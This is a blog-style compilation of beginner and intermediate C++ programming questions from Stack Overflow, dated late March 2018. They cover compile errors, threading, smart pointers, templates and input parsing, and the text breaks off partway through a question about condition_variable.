samedi 31 mars 2018

How to build code that contains constant expression with c++11

Hello I am testing new c++ library : TagParser from Martchus https://github.com/Martchus/tagparser I am getting that error when I compile the following code:

CODE:

#include <tagparser/mediafileinfo.h>
#include <tagparser/diagnostics.h>

using namespace TagParser;

// create a MediaFileInfo for high-level access to overall functionality of the library
MediaFileInfo fileInfo;
// create container for errors, warnings, etc.
Diagnostics diag;

...

ERROR:

In file included from /usr/include/c++/5/cstdint:35:0,
                 from /usr/local/include/c++utilities/conversion/types.h:4,
                 from /usr/local/include/tagparser/tagtarget.h:6,
                 from /usr/local/include/tagparser/settings.h:4,
                 from /usr/local/include/tagparser/abstractcontainer.h:5,
                 from /usr/local/include/tagparser/mediafileinfo.h:4,
                 from TagParserTest.cpp:1:
/usr/include/c++/5/bits/c++0x_warning.h:32:2: error:
#error This file requires compiler and library support for the ISO C++ 2011 standard.
This support must be enabled with the -std=c++11 or -std=gnu++11 compiler options.

When I try to build with the -std=c++11 option I get this error:

In file included from /usr/local/include/tagparser/abstractcontainer.h:5:0,
                 from /usr/local/include/tagparser/mediafileinfo.h:4,
                 from TagParserTest.cpp:1:
/usr/local/include/tagparser/settings.h: In function ‘constexpr TagParser::TagCreationFlags& TagParser::operator|=(TagParser::TagCreationFlags&, TagParser::TagCreationFlags)’:
/usr/local/include/tagparser/settings.h:53:1: error: expression ‘(lhs = ((TagParser::TagCreationFlags)(((std::underlying_type<TagParser::TagCreationFlags>::type)lhs) | ((std::underlying_type<TagParser::TagCreationFlags>::type)rhs))))’ is not a constant-expression
 }

I really don't know how to solve this. Can anyone help me?

cannot extract from stringstream after clearing

I would like to extract "World" from the stringstream parser after clearing it but the string strB is empty. Any suggestions on how I can fix this and why this is happening ?

int main()
{
        std::string strA;
        std::string strB;

        std::stringstream parser("Hello");
        parser >> strA;
        std::cout << strA;

        parser.clear();
        parser << "World";
        parser >> strB;
        std::cout << strB; // Why cant i extract from parser again ? ? Why is strB empty ?     
}

Stack overflow when thread number is large enough (i.e, 50)

My code runs ok when thread number is 15 or less, but when I run it with larger thread number (but still a very tiny number) say 50. I ran into following error when main function exits, seems like error occurs in the cleaning up process. I couldn't figure out where the bug is. My development tool is Visual Studio 2017. Here's my code:

threadsafe_queue class:

#pragma once
#include <memory>
#include <mutex>

template<typename T>
class threadsafe_queue
{
private:
    struct Node {
        std::shared_ptr<T> data;
        std::unique_ptr<Node> next;
    };
    Node* tail;
    std::unique_ptr<Node> head;
    std::mutex head_mutex;
    std::mutex tail_mutex;
    std::condition_variable data_cond;

    Node* get_tail();
    std::unique_ptr<Node> pop_head();
    std::unique_lock<std::mutex> wait_for_data();
public:
    threadsafe_queue();
    ~threadsafe_queue();
    threadsafe_queue(const threadsafe_queue& t) = delete;
    threadsafe_queue operator = (const threadsafe_queue& t) = delete;

    void push(T);
    bool try_pop(T&);
    std::shared_ptr<T> try_pop();
    void wait_and_pop(T&);
    std::shared_ptr<T> wait_and_pop();
    bool empty();
};

using namespace std;

template<typename T>
threadsafe_queue<T>::threadsafe_queue() {
    head = std::unique_ptr<Node>(new Node);
    tail = head.get();
}

template<typename T>
threadsafe_queue<T>::~threadsafe_queue()
{
}

template<typename T>
typename threadsafe_queue<T>::Node* threadsafe_queue<T>::get_tail() {
    lock_guard<mutex> lock(tail_mutex);
    return tail;
}

template<typename T>
unique_ptr<typename threadsafe_queue<T>::Node> threadsafe_queue<T>::pop_head()
{
    auto old_head = move(head);
    head = move(old_head->next);
    return old_head;
}

template<typename T>
unique_lock<mutex> threadsafe_queue<T>::wait_for_data()
{
    unique_lock<mutex> headLock(head_mutex);
    data_cond.wait(headLock, [&] {return head.get() != get_tail(); });
    return std::move(headLock);
}

template<typename T>
void threadsafe_queue<T>::wait_and_pop(T & value)
{
    unique_lock<mutex> lock(wait_for_data());
    value = move(pop_head()->data);
}

template<typename T>
shared_ptr<T> threadsafe_queue<T>::wait_and_pop()
{
    unique_lock<mutex> lock(wait_for_data());
    return pop_head()->data;
}

template<typename T>
void threadsafe_queue<T>::push(T newValue)
{
    shared_ptr<T> data(make_shared<T>(std::move(newValue)));
    unique_ptr<Node> new_tail(new Node);
    {
        lock_guard<mutex> lock(tail_mutex);
        tail->data = data;
        Node* new_tail_ptr = new_tail.get();
        tail->next = move(new_tail);
        tail = new_tail_ptr;
    }
    data_cond.notify_one();
}

template<typename T>
bool threadsafe_queue<T>::try_pop(T & value)
{
    lock_guard<mutex> headLock(head_mutex);
    if (head == get_tail())
        return false;
    value = move(pop_head()->data);
    return true;
}

template<typename T>
shared_ptr<T> threadsafe_queue<T>::try_pop()
{
    lock_guard<mutex> headLock(head_mutex);
    if (head == get_tail())
        return shared_ptr<T>();
    return pop_head()->data;
}

template<typename T>
bool threadsafe_queue<T>::empty()
{
    lock_guard<mutex> lock(head_mutex);
    return head.get() == get_tail();
}

main function:

#pragma once
#include "threadsafe_queue.h"
#include <assert.h>
#include <memory>
#include <atomic>
#include <vector>
#include <thread>

using namespace std;
void worker(threadsafe_queue<int>& queue, std::atomic<int>& count, int const & pushcount, int const & popcount) {
    for (unsigned i = 0; i < pushcount; i++) {
        queue.push(i);
        count++;
    }

    for (unsigned i = 0; i < popcount; i++) {
        queue.wait_and_pop();
        count--;
    }
}

int main() {
    threadsafe_queue<int> queue;
    std::atomic<int> item_count = 0;
    std::vector<thread*> threads;
    unsigned const THREAD_COUNT=15, PUSH_COUT=100, POP_COUNT=50;

    for (unsigned i = 0; i < THREAD_COUNT; i++) {
        threads.push_back(new thread(worker, ref(queue), ref(item_count), ref(PUSH_COUT), ref(POP_COUNT)));
    }

    for (auto thread : threads) {
        thread->join();
    }

    for (auto thread : threads) {
        delete thread;
    }
    assert(item_count == THREAD_COUNT * (PUSH_COUT-POP_COUNT));

    return 0;
}

error message:

Unhandled exception at 0x00862899 in Sample.exe: 0xC00000FD: Stack overflow 
(parameters: 0x00000001, 0x00E02FDC). occurred

The location of the error is in memory library code:

    const pointer& _Myptr() const _NOEXCEPT
    {   // return const reference to pointer
    return (_Mypair._Get_second());
    }

Initialize std::array with a random size

I have two macros:

#define length(array) sizeof(array)/sizeof(array[0])
#define randRange(x,y) x + ( std::rand() % ( y - x + 1 ) )

I Can do this:

int data[] = {2, 3, 34, 10, 3, 12, 30 };
const int arr_length = length(data);
std::array<int,arr_length> data_std_array;

I Can initialize with a constant:

const int arr_length = 500;
std::array<int,arr_length> data_std_array;

But I can't initialize an std::array with my rand function:

float a = randRange(2, 200);
const int arr_length = (int)a;
std::array<int,arr_length> data_std_array;

float a = randRange(2, 200);
int counter = 0;
for(int i =0; i < a; i++){
    counter++;
}
const int arr_length = counter;
std::array<int,arr_length> data_std_array;

float a = randRange(2, 200);
const int arr_length = static_cast<int>(a);

None of these work.

I've tried all sorts of variables like size_t and unsigned ints, constants, pointers etc. I always get this error message

Error msg I always receive: float a = randRange(2, 200); const int arr_length = static_cast(a);

/home/martin/Documents/github/on-line-mean-calculation/tests/test.cpp: In member function ‘virtual void algorithmTest_TestAlgorithmRandomArray_Test::TestBody()’:
/home/martin/Documents/github/on-line-mean-calculation/tests/test.cpp:87:20: error: the value of ‘arr_length’ is not usable in a constant expression
     std::array<int,arr_length> data_std_array;
                    ^
/home/martin/Documents/github/on-line-mean-calculation/tests/test.cpp:76:15: note: ‘arr_length’ was not initialized with a constant expression
     const int arr_length = static_cast<int>(a);
               ^
/home/martin/Documents/github/on-line-mean-calculation/tests/test.cpp:87:30: error: the value of ‘arr_length’ is not usable in a constant expression
     std::array<int,arr_length> data_std_array;
                              ^
/home/martin/Documents/github/on-line-mean-calculation/tests/test.cpp:76:15: note: ‘arr_length’ was not initialized with a constant expression
     const int arr_length = static_cast<int>(a);
               ^
/home/martin/Documents/github/on-line-mean-calculation/tests/test.cpp:87:30: note: in template argument for type ‘long unsigned int’ 
     std::array<int,arr_length> data_std_array;

How can I initialize and std array with a random length in range?

Adding 2 vectors component with component using stack

I have a problem with my C++ code. I need to make the sum of the vectors component by component. For example, if I have A(2,1) and B(3,3) the result should be (5,4). I tried to do something but apparently I have a problem and I don't know what to do. The error is: ,,No member called push in std::_1vector" My code is:

#include <iostream>
#include "stack_base.h"
#include <vector>

using namespace std;

template<typename T>
class App {
    public:
        Stack<T>  * stack;
        App(Stack<T> &stack) {
    this->stack = &stack;
}
      T sum(){
    Stack<T> *tempStack = stack;
    T sum=0;
    int size = stack->getTopLevel();
    for(int i=0; i<=size; i++) {
        sum+=tempStack->peek();
        tempStack->pop();
        }
    return sum;
}
      T substract(){
          Stack<T> tempStack = *stack;
          T substr=0;
          for(int i=0; i<=stack->getTopLevel(); i++) {
              substr-=tempStack.peek();
              tempStack.pop();
          }
          return substr;
      }
};
int main(){
    Stack<int> myStack;
    App<int> a(myStack);
    int values[7] = {5, 2, 3, 1, 4, 8, 6};
    int values1[7] = {5, 2, 3, 1, 4, 8, 6};
    unsigned int i = 0;
            vector <int> v1;
            vector <int> v2;
            vector <int> v3;
            cout << "Filling the Numbers\n";
            for (i=5;i < 125 ; i = i + 5) {
                myStack.push(v1[i/10]);
                myStack.push(v2[i/100]);
                myStack.push(v3[i]); 
                v3[i]=v1[i]+v2[i]; //here it's the problem
            }

            cout << "Adding the numbers\n";
            for (i = 0; i < v1.size(); i++) {
                    v3[i] = v1[i] + v2[i];
            }

            cout << "Printing the numbers\n";
                    for (i = 0; i < v3.size() ; i++) {
                            cout << v3[i];
                    }
    return 0;
}

operator method and returning "out-of-scope" object?

#include <iostream>
using namespace std;

class Box {
public:
  double getVolume(void) {
     return length * breadth * height;
  }
  void setLength( double len ) {
     length = len;
  }
  void setBreadth( double bre ) {
     breadth = bre;
  }
  void setHeight( double hei ) {
     height = hei;
  }

  // Overload + operator to add two Box objects.
  Box operator+(const Box& b) {
     Box box; //local object?
     box.length = this->length + b.length;
     box.breadth = this->breadth + b.breadth;
     box.height = this->height + b.height;
     return box;
  }

private:
  double length;      // Length of a box
  double breadth;     // Breadth of a box
  double height;      // Height of a box
};

The source of the code: https://www.tutorialspoint.com/cplusplus/cpp_overloading.htm. How does the above operator+ work? What I'm confused is that as opposed to Java, in C++ Box box creates an object on the stack, but the method is returning the object whose lifetime is limited to that scope of method (operator).

So I tried another example:

template <typename T>
class SmartPointer
{
    T *ptr;
    int numElem; //-1 if an element. >=0 if an array
public:
    SmartPointer(T pNum);
    SmartPointer();
    SmartPointer(T *pArray, int pSize);
    ~SmartPointer();
    SmartPointer(std::initializer_list<T> nums);
    T getValue() const;
    T getValue(int index) const;
    void setValue(T pNum);
    void setValue(T pNum, int index);
    int getNumElem() const;
    SmartPointer<T> operator+ (const SmartPointer<T>& ptr);
    SmartPointer<T> operator- (const SmartPointer<T>& ptr);
    SmartPointer<T> operator* (const SmartPointer<T>& ptr);
};

template <class T>
SmartPointer<T> SmartPointer<T>::operator+ (const SmartPointer<T>& p_ptr)
{
        int pSize = this->getNumElem();
        T tempArray[pSize] = {0};
        for(int i = 0; i < this->getNumElem(); i++)
        {
            int result = this->getValue(i) + p_ptr.getValue(i);
            tempArray[i] = result;
        }
        SmartPointer<T> result(tempArray, pSize); (line 60)
        return result; (line 61)
    }
}

I am trying to implement smartpointer, and I want to overload + as if it were a componentwise addition (like vector addition).

Then, if I run the following code:

SmartPointer<int> sPointer6({10,11,12});
SmartPointer<int> sPointer7({10,11,12});
SmartPointer<int> sPointer8 = sPointer6 + sPointer7;
cout << sPointer8.getValue(0) << endl; //getValue(index)
cout << sPointer8.getValue(1) << endl;
cout << sPointer8.getValue(2) << endl;

I get the following output:

1310912
1338712
24

But if I replace line 60 and line 61 by

return SmartPointer<T>(tempArray, pSize);

Then I get the following output:

20
22
24

Why am I getting different outputs? And why does the first example work but not the smartpointer example?

Mystical anomaly with getch();

Today i was testing how key pressing might work in C++ and made simple loop for it,and found that getch() duplicate itself for some reason or idk what is going on honestly,just look at that:

#include <iostream>
#include <windows.h>
#include <conio.h>

#define VK_H 0x48
using namespace std;

int main()
{
int n=1;
int total=0;
bool theEnd=true;

while(theEnd)
{
    cout<<total<<endl;
    getch();

    if(GetAsyncKeyState(VK_LEFT))
    {
        total -=n;
    }else if(GetAsyncKeyState(VK_RIGHT))
    {
        total +=n;
    }else if(GetAsyncKeyState(VK_LSHIFT) && GetAsyncKeyState(VK_F1))
    {
        total = 0;
    } else if(GetAsyncKeyState(VK_ESCAPE))
    {
        break;
    }
}
cout<<total<<endl;
}

Its pretty simple.Program starts with a loop,where endlessly outputs value of variable "total",and after pressing left/right buttons "total" decrements/increments by 1.

Its was worked fine and perfect when i was using system("pause"); Sleep(milliseconds); cin.get();(but this one assume pressing enter each time,so it is not proper one) ,all that output right value on the screen after each pressing on the buttons.But in case with getch(); it somehow appear to working like only one time per/two cycles of the loop.

So the result i've get is like this: i'm pressing button right - current loop working fine,but next one working like without getch()...

I've siting and thinking couple hours,trying find any answers in google and here but nothing...

P.S.without using getch() or other things for purpose stoping loop till next pressing - it will add not +1 to total by single pressing(as i need),but hundreds(average pressing key will do 150-300 loops lol).

Runtime Error while building a decryption program.

Here i'm building a decryption program and a runtime error occurs when actually running it from powershell and passing a file as an argument and an output file name.

Error: This application has requested the Runtime to terminate it in an unusual way. Please contact the application's support team for more information.

#include <iostream>
#include <fstream>
#include <string>
#include <vector>

const std::string &SALT1 = "LM::TB::BB";
const std::string &SALT2 = "__:/__77";
const std::string &SALT3 = "line=wowC++";
const std::string &BASE64_CODES = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

std::string DecryptB64 (std::string s);
std::string base64_decode(const std::string &s);

int main(int argc, char *argv[])
{
    if(argc != 3)
        return std::cout<< "Program needs Two Arguments, input and output" <<std::endl, 2;
    std::string in (argv[1]), out (argv[2]);
    std::ifstream fi (in);
    if (!fi)
        return std::cout << "Cannot read input file '" << in << "'" << std::endl, 3;
    std::string data;
    fi >> data;
    if (!fi)
        return std::cout << "Input file '" << in << "' corrupted!" << std::endl, 4;
    data = DecryptB64(data);
    std::ofstream fo (out);
    if (!fo)
        return std::cout << "Cannot write output file '" << out << "'" << std::endl, 5;
    fo << data;
    std::cout << "Decoding was successful" << std::endl;
    return 0;
}

std::string base64_decode(const std::string &s)
{
    std::string ret;
    std::vector<int> vec(256, -1);
    for (int i = 0; i < 64; i++)
        vec [BASE64_CODES[i]] = i;
    int val = 0, bits = -8;
    for (const auto &c : s)
        {
            if (vec[c] == -1) break;
            val = (val << 6) + vec[c];
            bits += 6;

            if (bits >= 0)
                {

                    ret.push_back(char((val >> bits) & 0xFF));
                    bits -= 8;
                }
        }

    return ret;
}

std::string DecryptB64 (std::string s)
{
    s = s.erase (7, 1);
    s = s.erase (1, 1);
    s = base64_decode (s);
    s = s.substr (SALT2.length() + SALT3.length());
    s = s.substr (0, s.length() - SALT1.length());
    s = base64_decode (s);
    s = s.substr (0, s.length() - SALT1.length());
    s = s.erase (7, SALT3.length());
    s = base64_decode (s);
    s = s.substr (SALT1.length());
    s = s.substr (0, s.length() - SALT2.length() - SALT3.length());
    return s;
}

Powershell and error screenshot

Copy assignment is disabled for thread in C++11

void exec_produce(int duration) {
    //阻止线程运行到duration秒
    this_thread::sleep_for(chrono::seconds(duration));
    //this_thread::get_id()获取当前线程id
    cout << "exec_produce thread " << this_thread::get_id()
    << " has sleeped " << duration << " seconds" << endl;
}

int main(int argc, const char *argv[])
{
    thread threads[5];
    cout << "create 5 threads ..." << endl;
    for (int i = 0; i < 5; i++) {
        threads[i] = thread(exec_produce, i + 1);
    }
    cout << "finished creating 5 threads, and waiting for joining" << endl;
    //下面代码会报错,原因就是copy操作不可用,相当于是delete操作,所以报错
    /*for(auto it : threads) {
       it.join();
    }*/
    for (auto& it: threads) {
        it.join();
    }
    cout << "Finished!!!" << endl;
    system("pause");
    return 0;
 }

I want to know why the code threads[i] = thread(exec_produce, i + 1); is correct? Is it not use the copy function? I see the rule as follows:

1) move Assignment operation: thread& operator= (thread&& rhs) noexcept, if the current object is not joinable, you need to pass a right value reference (rhs) to the move assignment operation; if the current object can be joinable, then terminate () error.

2) Copy assignment is disabled: thread& operator= (const thread&) = delete, thread object cannot be copied.

How to optimize getting maximum values in array?

There is a function which is getting maximum values of each period-length interval in array.

void f(const std::vector<double> &v, std::vector<double> &vv, size_t period)
{
    vv.resize(v.size());

    for (size_t i = period; i < v.size() + 1; ++i) {
        vv[i - 1] = *std::max_element(v.begin() + i - period, v.begin() + i);
    }
}

How can I optimize this function by performance?

Why does shared_ptr needs to hold reference counting for weak_ptr?

Quoted from C++ Primer $12.1.6:

A weak_ptr (Table 12.5) is a smart pointer that does not control the lifetime of the object to which it points. Instead, a weak_ptr points to an object that is managed by a shared_ptr. Binding a weak_ptr to a shared_ptr does not change the reference count of that shared_ptr. Once the last shared_ptr pointing to the object goes away, the object itself will be deleted. That object will be deleted even if there are weak_ptrs pointing to it—hence the name weak_ptr, which captures the idea that a weak_ptr shares its object “weakly.”

However,I've read an article says:

using make_shared is more efficient. The shared_ptr implementation has to maintain housekeeping information in a control block shared by all shared_ptrs and weak_ptrs referring to a given object. In particular, that housekeeping information has to include not just one but two reference counts:

  1. A “strong reference” count to track the number of shared_ptrs currently keeping the object alive. The shared object is destroyed (and possibly deallocated) when the last strong reference goes away.

  2. A “weak reference” count to track the number of weak_ptrs currently observing the object. The shared housekeeping control block is destroyed and deallocated (and the shared object is deallocated if it was not already) when the last weak reference goes away.

As far as I know,the shared_ptr created by make_shared is in the same control block with those ref countings.So the object will not be released until the last weak_ptr expires.

Question:

  1. Is the Primer wrong?Because weak_ptr will actually affects the lifetime of that object.
  2. Why does the shared_ptr need to track its weak refs?
  3. Just for curiosity,what does the control block created by shared_ptr look like?Is it something like:

    template<typename T>
    class control_block
    {
       T object;
       size_t strong_refs;
       size_t weak_refs;
       void incre();
       void decre();
       //other member functions...
    };
    //And in shared_ptr:
    template<typename T>
    class shared_ptr
    {
       control_block<T> block;//Is it like this?So that the object and refs are in the same block?
       //member functions...
    };
    
    

reading number and character one after another until end of input in c++

suppose I have input like

1 2 3 4 5 6
2 3 4 5 6 7
3 7 5 8 9 1

now I want to read the input like first number 1 in a number variable and in a character variable[say. var] the space in between 1 and 2, next step it will decide whether var is equals to '\n' or not,if not then read again .this time it will read number 2 and the space in between 2 and 3.similar mannaer ,in last the number variable will read 6 and var will read '\n'.as var=='\n' ,I want my program to go next line and read again in the same manner. and when the input reading is finished I want my program to terminate!! I know how many lines are there in the input. I want the c++ code of this program. I myself made one but itz not working. here is the code

#include <bits/stdc++.h>
using namespace std;

int main()
{
char a;
int line =1,temp;
while(line<=3){
    while(1){
            cin>>temp>>a;
            if(a!='\n'){

        }else{

            break;
            }
        }
      ++line;
    }
   cout<<cnt;
  return 0;
}

vendredi 30 mars 2018

Good representation for sparse matrix that will need to have operations such as Gaussian Elimination?

In college they asked us to design a matrix representation that will behave well for sparse matrices and also will need to have common operations such as multiplication and sumation in addition to gaussian eilimination.

I've though that one structure that would fit well this model is a: vector of rows, where every row is a map of (column, value)

This would allow me to do row permutations easily, and would also consume little space since we store the columns of the rows as a map.

However I'm starting to think there could be a better way.

Maybe a map of maps?

what do you think?

Thanks!

How to pass an rvalue as a reference argument to a function

I have a function that takes the reference of an object. In one particular call instance, I don't care how the function process that particular object. Hence I wish I could avoid creating that object in the main function.

The code looks like:

#include <stdio.h>
#include <unordered_map>

void myFunc(std::unordered_map<int,int> &mp);

int main() {
  myFunc(std::unordered_map<int,int>());
  return 0;
}

void myFunc(std::unordered_map<int,int> &mp) {
  printf("%d\n",mp.size());
  printf("Hello world.\n");
}

The bottom line is: I don't want to declare and initialize an unordered_map<int,int> object in the main function. This version of the code reports:

error: invalid initialization of non-const reference of type ‘std::unordered_map&’ from an rvalue of type ‘std::unordered_map’

I also tried const_cast<> and std::move, but neither works.

The error can be removed if we change the API to:

void myFunc(std::unordered_map<int,int> &&mp)

The problem is that the API is shared among multiple files, and we really don't want to change it. Given the API of myFunc has to be fixed, how can I modify main() such that I don't need to explicitly create an object?

cin.get() function in C++

I have been studying c++ and came across the code below. I dont understand why they have to use the get(c) in "cin.get(straddress, sizeof(straddress), fdelim).get(c)". The code works just fine without this get(c). Can someone enlighten me on the use of get(c)? The purpose of the program is to read data of mixed type.

const char fdelim = '\t';
char straddress[256];
int zip;
char c;

cout << "Enter a record of data:  ";
cin.get(straddress, sizeof(straddress), fdelim).get(c) >> zip;
cout << "\nStreet address :   " << straddress << endl;
cout << "\nZip/Postal code:   " << zip << endl;

[[maybe_unused]] applied to static data members

The draft standard states about [[maybe_unused]] in 10.6.6 item 2

"The attribute may be applied to the declaration of a class, a typedef-name, a variable, a non-static data member, a function, an enumeration, or an enumerator."

Is there any reason to exclude static data members from this? i.e.

struct Foo {
    [[maybe_unused]] static inline int foo = 0;
};

I ask as I have a static data member whose type has a non trivial constructor that does useful stuff but is otherwise unused.

returning shared_ptr member of an rvalue

In C++ Concurrency In Action - Practical MultiThreading page 167, there's the code snipet

 std::shared_ptr<T> wait_and_pop()
 {
 std::unique_ptr<node> const old_head=wait_pop_head();
 return old_head->data;
 }

I want to make sure I understand why it can't simply be like following. I understand that wait_pop_head() is an rvalue, thus will get destroyed when function returns, and std::shared_ptr<T> is not copyable, but the compiler would use move constructor to move things out of the shared_ptr. But that move operation happens after the rvalue gets destroyed. Is that the reason why we can't shorthand the code to following? Thank you in advance!

std::shared_ptr<T> wait_and_pop()
{
return wait_pop_head()->data;
}

In function `_start': : undefined reference to `main' collect2: ld returned 1 exit status make: *** [test_data] Error 1

Error Output:

```
/builds/zhigalin.da/spbspu-labs-2018/testxFJ3vQ87/templates/A1.cpp: In 
function 'int main()':
/builds/zhigalin.da/spbspu-labs-2018/testxFJ3vQ87/templates/A1.cpp:11:40: 
error: 'x' is not a member of 'point_t'
static_assert(std::is_same< decltype(point_t::x), double >::value,
                                    ^~~~~~~
/builds/zhigalin.da/spbspu-labs-2018/testxFJ3vQ87/templates/A1.cpp:11:40:       
error: 'x' is not a member of 'point_t'
/builds/zhigalin.da/spbspu-labs-2018/testxFJ3vQ87/templates/A1.cpp:11:60: 
error: template argument 1 is invalid
static_assert(std::is_same< decltype(point_t::x), double >::value,
                                                        ^
/builds/zhigalin.da/spbspu-labs-2018/testxFJ3vQ87/templates/A1.cpp:13:40: 
error: 'y' is not a member of 'point_t'
static_assert(std::is_same< decltype(point_t::y), double >::value,
                                    ^~~~~~~

if i testing project in terminal i get this error:

Runtime of callee functions not added to caller function in vtune profiling

I am using Intel's Vtune for runtime profiling of my code. (Specifically hotspot analysis mode to identify time-consuming functions). After the application completes and vtune generates its reports, i open the GUI "ample-gui" to visualize the results.

In the "Bottom-up" or "Caller/Callee" view, instead of showing user functions at the top, it shows std c++ functions (like malloc, dynamic_cast etc.) as the most time consuming functions. I have tried enabling "Only User Functions" mode in the bottom menu.

This is possible if it displays the total time spent in a function (across multiple calls), without accounting for runtime of the functions it is calling. But In the "Caller/Callee" mode the GUI displays 2 runtime columns "Total" and "Self". According to the description "Total" runtime of a function adds the self-runtime of the (callee) functions it calls. But the results do not seem to follow the above definition. Also Total and self runtime columns have the same runtime profile.

Also in "Total" runtime column, ideally main() should have 100% of the runtime and then other functions should break-up as the flow proceeds.

I need help on how can i identify actual User functions as hotspots. Is there any specific option which i need to enable.Snapshot-attached in link

How to force dynamically allocated classes to have their members allocate on the heap as well?

Currently working on allocation, where I am given a system, which has a very limited "stack" as an automatic scope for variables. However, said stack is still commonly used and filling up quickly. I was not allowed to increase the size, so I have to solve this programmatically.


Firstly, I have searched for similar questions, the most relevant being this one. However, there someone states that a member of a dynamically allocated class, will be allocated on the "heap", but those are apparently merely implementation details (So it might differ? Very confusing).

For simplicity, I am using a Linear Allocator, which allocates memory using a call to malloc and then offsets the pointer depending on the size of the class. Then creating/allocating the class, would be done with:

template<typename T> T* CreatePtr(size_t align)
{
    void *adr= Allocate(sizeof(T), align);

    return new(Adress) T();
}

So a class, which would be created using the above method, could be:

class A
{
    uint64_t size = 0u;
    bool foo = false;
    void *ptr = nullptr;
}

As I understand it, member size is allocated on the "heap", since class A was allocated using the LinearAllocated, which uses a malloc call, thus allocating the class on the "heap" implementation, which is decently large on my platform.


Now back to the question: is this the behavior above the correct one for Windows, Linux et cetera, meaning the variables are using the memory offset, since I pass the size with sizeof(T) to make sure it can hold its members (right?).

How would that work if you have a STL container, such as a vector. Would it allocate the vector on the "stack" implementation, since sizeof(T) cannot possibly know how big a dynamic container could be, even if you reserve space.

I dearly appreciate any suggestions, I hope I can clear this up. The title would hint towards the XY-problem, but I wrote it the way it is to stress the need to save memory.

copying a char array with and without a pointer

can someone help me here. I am experimenting on copying a string using char array (in the first case) and using a pointer(in the second case) I understand why I need a temp[i]='\0' immediately after the while loop in the first case but I dont understand why I dont need it after the while loop in second case.

               1st case:
char source[50] = "Hello World";
char temp[50];
int i = 0;

    while (source[i] != '\0')
    {
        temp[i] = source[i];
        i++;
    }
    temp[i]='\0';
    cout << temp;

                  2nd Case:

char source[50] = "Hello World";
char *temp=source;
int i = 0;

while (source[i] != '\0')
{
    temp[i] = source[i];
    i++;
 }
cout << temp;

Eigen class members empty after constructor

I need to solve a computational problem in C++. In order to achieve my tasks I organized my code in a class which contains several Eigen members (dense and sparse matrix). My class looks like:

class Myclass{
private:
 ...
 Eigen::MatrixXd M1;
 Eigen::SparseMatrix<double> M2;

 void fill_M1(..); // it fills matrix M1 of the problem
 void fill_M2(..); // it fills matrix M2 of the problem

public:
 Myclass(..): //some initializations
{
  fill_M1(..);
  fill_M2(..);
 }
 ...
 void print_all_matrixes(); // just print M1 and M2
}

If I try to use these matrixes outside the constructor (like with print_all_matrixes()) they result to be empty. It seems that the changes done in the constructor vanish out of the scope.

How can I avoid this behaviour?

Thanks in advance

How to elegantly check if the template type is derived from the specific base class in C++11?

I have a template class Context. I want to limit the user to use the specified type (Stratege1 but not Stratege2) that is derived from a specific class Base.

class Base {
public: 
    virtual void run() = 0;
}; 
class Stratege1 : public Base {
public:
    virtual void run() {
        printf("Stratege1 \n");
    }
}; 
class Stratege2 {
public:
    virtual void run() {
        printf("Stratege2 \n"); 
    }
}; 
template <typename T> class Context {
public:
    void run() { 
        t.run();
    }; 
private:
    T t;
};

It may be OK if the user want to invoke like this:

Context<Stratege1> context;
context.run();

However I don't expect the user use (to avoid unexpectedly potential run-time issues)

Context<Stratege2> context;
context.run();

Because Stratege2 is not derived from Base class. Is there any elegant way to limit the concept during compilation?

Thanks for any suggestions.

Can a function return a pointer to its own type?

I've implemented a very minimal finite state machine in a class, and my original approach was to try this:

class Widget {
public:
  void update(float time_interval){ state_(time_interval); }
private:
  std::function<  ??  > off_(float);
  std::function<  ??  > standby_(float);
  std::function<  ??  > locked_(float);

  std::function<  ??  > state_; // initialised to off_
};

Each state is a function which returns a state. But I can't work out how to declare a function whose return type includes its return type. Is there a way to break the recursion?

Instead, I used an enum class and an ugly switch statement.

Why const double && doesn't work for lvalue reference?

Explain me, please, how it works? Why double && works for lvalue and rvalue? And why const double && don't work for lvalue?

template <typename U>
void function(U& var) {
    std::cout << var << std::endl;
}

int main()
{
    int var1 = 45;
    function(var1);
    function(45); //error
}

////////////////////////////////////////////////

template <typename U>
void function(const U& var) {
    std::cout << var << std::endl;
}

int main()
{
    int var1 = 45;
    function(var1);
    function(45);
}

////////////////////////////////////////////////

template <typename U>
void function(U&& var) {
    std::cout << var << std::endl;
}

int main()
{
    int var1 = 45;
    function(var1);
    function(45);
}

////////////////////////////////////////////////

template <typename U>
void function(const U&& var) {
    std::cout << var << std::endl;
}

int main()
{
    int var1 = 45;
    function(var1);  // error
    function(45);
}

figure out pointers and structs

While I've been trying to figure out how to deal with pointers&structs, I wrote the following code.

  1. Why does the output of function print_child is gibberish? OUTPUT:

dad name: AAAA dad id: 11

mom name: BBBB mom id: 22

1child name: ï Uï∞ u u u h░├evhchild id: 6846053

2child name: ï Uï∞ u u u h░├evhchild id: 6846053

  1. How can I define an array of chars with unlimited length? (Using string also requires a defined length)

    #include <iostream>
    
    using namespace std;
    
    struct Person
    {
        char name[20]; //Question 2
        int id;
    };
    
    const int max_num_of_childs=10;
    
    struct Family
    {
        Person dad;
        Person mom;
        int num_of_childs;
        Person* child[max_num_of_childs];
    };
    
    
    
    void add_child (Family& f)
    {
        char answer;
        do
        {
            if (f.num_of_childs==max_num_of_childs)
            {
                cout << "no more children" <<endl;
                return;
            }
    
            cout << "more child? Y/N" <<endl;
            cin >> answer;
            if (answer == 'Y')
            {
                f.child[f.num_of_childs] = new Person;
                cout << "enter name and id" << endl;
                cin >> f.child[f.num_of_childs]->name;
                cin >> f.child[f.num_of_childs]->id;
                f.num_of_childs++;
            }
        }
        while (answer=='Y');
    
        return;
    
    }
    
    
    void add (Family& f)
    {
        cout << "insert dad name & id" << endl;
        cin >> f.dad.name >> f.dad.id;
    
        cout << "\ninsert mom name & id" << endl;
        cin >> f.mom.name >> f.mom.id;
    
        add_child (f);
    
    }
    
    void print_child (const Family f) //Question 1
    {
        for (int i=0; i<f.num_of_childs; i++)
            cout << "#" << i+1 << "child name: " << f.child[f.num_of_childs]->name << "child id: " << f.child[f.num_of_childs]->id << endl;
    }
    
    
    void print (const Family f)
    {
        cout << "dad name: " << f.dad.name << "\tdad id: " << f.dad.id << endl;
        cout << "mom name: " << f.mom.name << "\tmom id: " << f.mom.id << endl;
        print_child (f);
    }
    
    
    
    
    int main()
    {
        Family f;
        f.num_of_childs=0;
        add(f);
        print(f);
    
        return 0;
    }
    
    

c++ 11 condition_variable wait spurious wake up is not working

I tried to write a simple producer/consumer by using condition_variable,

include <iostream>
#include <thread>
#include <condition_variable>
#include <mutex>
#include <chrono>
#include <queue>
#include <chrono>
using namespace std;

